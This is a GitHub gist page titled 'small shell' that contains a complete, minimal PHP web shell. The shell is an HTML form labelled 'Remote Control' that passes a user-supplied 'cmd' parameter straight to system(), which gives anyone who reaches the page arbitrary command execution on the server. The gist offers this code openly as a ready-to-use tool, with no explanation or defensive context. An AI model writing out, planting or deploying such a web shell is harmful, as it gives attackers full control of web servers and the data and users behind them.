Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created March 20, 2016 03:06
Show Gist options
  • Save 0xPwny/80ec42be31ed7ff472ad to your computer and use it in GitHub Desktop.
Save 0xPwny/80ec42be31ed7ff472ad to your computer and use it in GitHub Desktop.
small shell
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Remote Control</title>
<link rel="stylesheet" href="">
</head>
<body>
<form method="GET" action="index.php">
<input type="text" name="cmd" placeholder="Enter your command here ">
<input type="submit" name="go" value="do it">
</form>
<?php if (isset($_GET['go'])) { system($_GET['cmd']); } ?> </body> </html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment